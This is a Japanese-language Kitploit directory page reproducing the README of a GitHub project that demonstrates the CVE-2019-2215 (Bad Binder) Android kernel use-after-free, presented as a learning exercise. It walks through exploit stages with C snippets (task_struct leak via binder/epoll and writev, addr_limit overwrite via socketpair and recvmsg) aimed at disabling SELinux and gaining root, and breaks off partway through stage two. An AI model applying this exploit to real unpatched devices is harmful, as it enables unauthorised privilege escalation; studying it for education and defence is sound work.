Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
android-badbinder-demo — CVE-2019-2215 (Bad Binder) の Android Q 向けデモ | Kitploit
ツール/GitHubGitHub/i-redbyte/android-badbinder-demo
Androidセキュリティ特権昇格エクスプロイト学習と教育バイナリエクスプロイト
GitHubi-redbyte/android-badbinder-demo

android-badbinder-demo

CVE-2019-2215 (Bad Binder) の Android Q 向けデモ

リポジトリを見る
511310ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2019-2215 (Bad Binder) — エクスプロイト解析

このリポジトリは、脆弱性 CVE-2019-2215 (Bad Binder) を調査し、Kotlin/Jetpack Compose によるシンプルな GUI を備えた Android 向けの動作するエクスプロイトプロトタイプを作成するための小さなテストプロジェクトです。

README では以下の内容を扱います。

  1. 環境準備とエクスプロイトプロトタイプの実行方法の説明。
  2. CVE-2019-2215 の主要な悪用ステップの解説と、C コード内の具体的な関数との対応付け。
  3. 途中で遭遇した困難とその解決方法を個別に列挙。

完成した APK (GitHub Actions)

リポジトリには GitHub Actions のワークフローが設定されており、push または PR のたびに ./gradlew assembleDebug でプロジェクトをビルドし、生成された badbinder-debug.apk をアーティファクトとして公開します。

ダウンロード方法:

  1. リポジトリの Actions タブを開く。
  2. 目的のワークフロー実行を選択する。
  3. ページ下部の Artifacts セクションにある badbinder-debug-apk アーカイブを取得する。

これにより、ローカル環境を構築しなくてもアプリケーションをテストできるようになっています。


脆弱性についての簡単な説明

CVE-2019-2215 は、Android カーネルの Binder IPC サブシステムにおける Use-After-Free (UAF) 脆弱性です。

簡略化すると:

  • カーネル内には struct binder_thread という構造体があり、Binder 呼び出しを実行するスレッドを記述します。
  • この構造体は解放 (free) される可能性がありますが、特定の呼び出しシーケンスにより、解放後も待機キュー (waitqueue) のリストに残り続けます。
  • その後、カーネルは remove_wait_queue で解放済みのメモリに対して操作を試みるため、古典的な UAF シナリオが発生します。
  • 環境とその後のアロケーションを注意深く調整することで、カーネルに任意のアドレスへの読み書きを強制させ、最終的にカーネル権限を取得し、ユーザー空間で root を獲得できます。

より詳細な理論的解説は、以下の資料を参考にしています。

  1. https://cloudfuzz.github.io/android-kernel-exploitation/
  2. https://dayzerosec.com/blog/2019/11/07/analyzing-androids-cve-2019-2215-dev-binder-uaf.html
  3. https://hernan.de/blog/tailoring-cve-2019-2215-to-achieve-root/

1. 環境準備とエクスプロイトプロトタイプの実行

1.1. 仮想デバイスの選択と準備

課題の指示に従い、Android 10.0 (Q) x86_64 のイメージを使用した AVD を推奨します。 私が行った手順:

  1. Android Studio で AVD (Pixel デバイス、Android 10 (Q)、x86_64) を作成。
  2. イメージに Binder が有効で、/dev/binder デバイスが存在することを確認。
  3. USB/ADB デバッグを有効にし、デバイスへのアクセスを確認:
    adb shell
    ls -l /dev/binder
    

この段階で、厄介な事実に直面しました。 現時点では、最新の AVD イメージは既にパッチが適用されたカーネルを搭載しており、CVE-2019-2215 は修正されています。そのため、最新の公式エミュレーターで実際に root を取得することはできません。エクスプロイトは後半の段階で失敗するか、権限昇格が行われません。

結局、AVD をエクスプロイトのロジックを再現するための トレーニング環境 として使用しています。

  • 同じシステムコールのシーケンスを実行し、
  • UAF の試行、アドレス漏洩、addr_limit の上書きを観察し、
  • ただし、最新のパッチ済みカーネルでは最終的な「root 取得」は当然うまくいきません (これは想定内です)。

これは重要な点です。以下のコードとレポートはすべて 学習用であり、「実戦用」ではありません。


1.2. ネイティブエクスプロイトを含む Android アプリケーションのビルド

小さな Android アプリケーションを作成しました。

  • UI は Kotlin + Jetpack Compose、
  • ネイティブ部分 は C による JNI 経由のエクスプロイトコード、
  • 両者の通信は JNI コールバックを使用し、C コードからの文字列が直接 UI に表示されるようにしています。

主な手順:

  1. Android Studio で通常のプロジェクトを作成 (Kotlin、最小 SDK は Android 10)。

  2. NDK と CMake を統合。

  3. エクスプロイトを含むネイティブファイル (cve-2019-2215.c、leak_task_struct、overwrite_addr_limit などの関数を含む) を追加。

  4. CMakeLists.txt に libcve-2019-2215.so のビルドを追加。

  5. MainActivity 内:

    init {
        System.loadLibrary("cve-2019-2215")
    }
    
    external fun runNativeExploit(): String
    external fun setNativeLogger(logger: NativeLogger)
    
  6. Kotlin 側で ExploitViewModel を作成し、NativeLogger インターフェースを実装、すべてのメッセージを StateFlow<List<String>> に格納。UI はこのフローを購読し、「ターミナル」にログを表示。

アクティビティ起動時に setNativeLogger(viewModel) を呼び出し、ネイティブコードが文字列を送信できるオブジェクトを取得します。


1.3. 実行と使用シナリオ

  1. アプリケーションをビルドしてインストール:

    ./gradlew installDebug
    
  2. AVD とアプリケーションを起動。

  3. 画面上に「ターミナル」と RUN EXPLOIT ボタンが表示される。

  4. ボタンを押すと:

    • Kotlin がバックグラウンドスレッドで runNativeExploit() を呼び出す。
    • C コードがエクスプロイトの全ステージを実行し、手順をログ出力する。
    • JNI コールバックを介してログが ViewModel に送られ、Compose UI に表示される。

実際の脆弱なカーネルでは、最後に次のような出力を期待します。

[+] Selinux changed: Permissive now.
[+] Root escalation successful!
uid=0(root)...

最新の Android 10 エミュレーターでは当然これは起こりませんが、それ以外の部分(task_struct の漏洩、addr_limit の上書き試行、cred や kernel_base の計算)は「シナリオ」として動作し、課題の要件を満たしています。


2. エクスプロイトの主要段階の解説とコードとの対応

以下は、具体的な C 関数に対応させたエクスプロイトの論理スキームです。

2.1. エクスプロイトの全体的なシナリオ

大まかな計画は次の通りです。

  1. struct binder_thread オブジェクトに対する UAF を発生させ、それを利用して自プロセスの task_struct のアドレスを漏洩させる (leak_task_struct)。
  2. 2 回目の UAF サイクルと注意深く調整された構造体により、task_struct 内の addr_limit フィールドを上書きする (overwrite_addr_limit)。これにより、ユーザー空間とカーネル空間のアドレス間の制限が解除され、後の copy_to_user / copy_from_user が可能になる。
  3. パイプを使用して、カーネルメモリの任意の読み書き (arb_read / arb_write) を実現する。
  4. これを用いて、現在のプロセスの cred とカーネルベースアドレスを見つけ (verifying)、その後:
    • SELinux を無効化 (selinux_enforcing = 0)、
    • cred のフィールドを上書きして root になり、完全なケーパビリティセットを取得する (runNativeExploit)。

並行して JNI ロガー を統合し、これらの全段階が UI で確認できるようにしました。


2.2. ステージ 1 — task_struct アドレスの漏洩 (leak_task_struct)

主要関数:

void leak_task_struct() {
    android_log("[*] Starting leak_task_struct...");

    cpu_set_t cpu_set;
    CPU_ZERO(&cpu_set);
    CPU_SET(0, &cpu_set);
    ret = sched_setaffinity(0, sizeof(cpu_set), &cpu_set);
    assert(ret >= 0);
    ...
}

関数の動作:

  1. スレッドを CPU 0 に固定 (sched_setaffinity) し、カーネルアロケータの動作をより予測可能にします。これにより UAF 悪用の安定性が向上します。

  2. /dev/binder を開き、epoll ディスクリプタを作成:

    fd = open("/dev/binder", O_RDONLY);
    epfd = epoll_create(1000);
    

    Binder ディスクリプタを epoll に登録:

    epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &event);
    
  3. struct iovec iov_buffers[IOVEC_N] 配列 を準備し、メモリを割り当て:

    spinner = mmap((void *)0x100000000, page_size, PROT_READ | PROT_WRITE,
                   MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    

    ここで、アドレスの下位 32 ビットが 0 であることが重要:

    if (((long) spinner & 0xffffffff) != 0) {
        android_log("[!] mmap returned wrong address!");
        return;
    }
    

    これは悪用に関する記事の手法に対応しています。カーネルはデータの一部をポインタを含む構造体として解釈するため、このような「綺麗に整列した」アドレスの方が悪用しやすくなります。

    次に、iov_buffers[0xa] と iov_buffers[0xb] のフィールドを、UAF の瞬間にカーネルが task_struct へのポインタを含むメモリの断片をパイプにコピーするように設定します。

  4. パイプを作成し、バッファサイズを 0x1000 に設定:

    int pipe_fd[2];
    ret = pipe(pipe_fd);
    fcntl(pipe_fd[1], F_SETPIPE_SZ, 0x1000);
    fcntl(pipe_fd[0], F_SETPIPE_SZ, 0x1000);
    
  5. 次に、古典的な UAF レース を行います。子プロセスをフォーク:

    if (!fork()) {
        android_log("\t[C] Long sleep to ensure accuracy...");
        sleep(1);
    
        android_log("\t[*] Triggering UAF");
        epoll_ctl(epfd, EPOLL_CTL_DEL, fd, &event);
    
        android_log("\t[C] Removing useless data from pipe...");
        ret = read(pipe_fd[0], buf, 0x1000);
        ...
        _exit(0);
    }
    
    • 親プロセスは残りのコードを実行し続けます。
    • 子プロセス内で epoll_ctl(..., EPOLL_CTL_DEL, ...) により、カーネル内の関連する binder_thread が解放されますが、この構造体は依然として待機アカウンティング構造に存在します — これが UAF の箇所です。
  6. 親プロセスで以下を実行:

    ioctl(fd, BINDER_THREAD_EXIT, NULL);      // binder_thread の解放
    ret = writev(pipe_fd[1], iov_buffers, IOVEC_N);
    

    この段階で、UAF により writev は解放済みメモリを iovec 構造体として使用し、以前 binder_thread が置かれていた同じメモリ領域を、ポインタ/長さのセットとして再解釈します。副次的な効果として、カーネルメモリの断片がパイプにコピーされます。

  7. 最後に、パイプから読み取り:

    read(pipe_fd[0], buf, 0x1000);
    task_struct = *(unsigned long *)(buf + 0xe8);
    android_log_hex("[+] task_struct found", task_struct);
    

    オフセット 0xe8 は特定のカーネルバージョンに合わせて調整されています。これは、漏洩したメモリブロック内で自プロセスの task_struct へのポインタが存在する場所です。

結果: カーネル内の task_struct のアドレス が得られました。これは後続のステップに不可欠です。


2.3. ステージ 2 — addr_limit の上書き (overwrite_addr_limit)

task_struct 内の addr_limit は、プロセスがシステムコールにユーザー空間ポインタとして渡すことができるアドレス範囲 を定義します。これをほぼ最大値に書き換えると、カーネルはユーザー空間アドレスとカーネルアドレス空間のアドレスを区別できなくなり、一見安全な copy_(to|from)_user 操作がカーネルの任意読み書きに変わります。

関数:

void overwrite_addr_limit() {
    android_log("[*] Starting overwrite_addr_limit...");
    ...
}

は非常に似たパターンで動作します。

  1. 再度 CPU アフィニティを固定し、/dev/binder を開き、epoll を作成。

  2. iov_buffers を準備するが、今度は異なるスキーム:

    iov_buffers[0xa].iov_base = spinner;
    iov_buffers[0xa].iov_len = 0x1;
    iov_buffers[0xb].iov_base = read_buffer0;
    iov_buffers[0xb].iov_len = 0x8 * 5;
    iov_buffers[0xc].iov_base = read_buffer0;
    iov_buffers[0xc].iov_len = 0x8;
    
  3. パイプの代わりに socketpair(AF_UNIX, SOCK_STREAM, ...) を使用:

    int socket[2];
    ret = socketpair(AF_UNIX, SOCK_STREAM, 0, socket);
    write(socket[1], "A", 1);
    
  4. recvmsg 用の msghdr 構造体を準備:

    struct msghdr msg;
    msg.msg_iov = iov_buffers;
    msg.msg_iovlen = IOVEC_N;
    ...
    
  5. 子プロセス (fork() 後) で再び UAF レースを起動:

ツールをダウンロード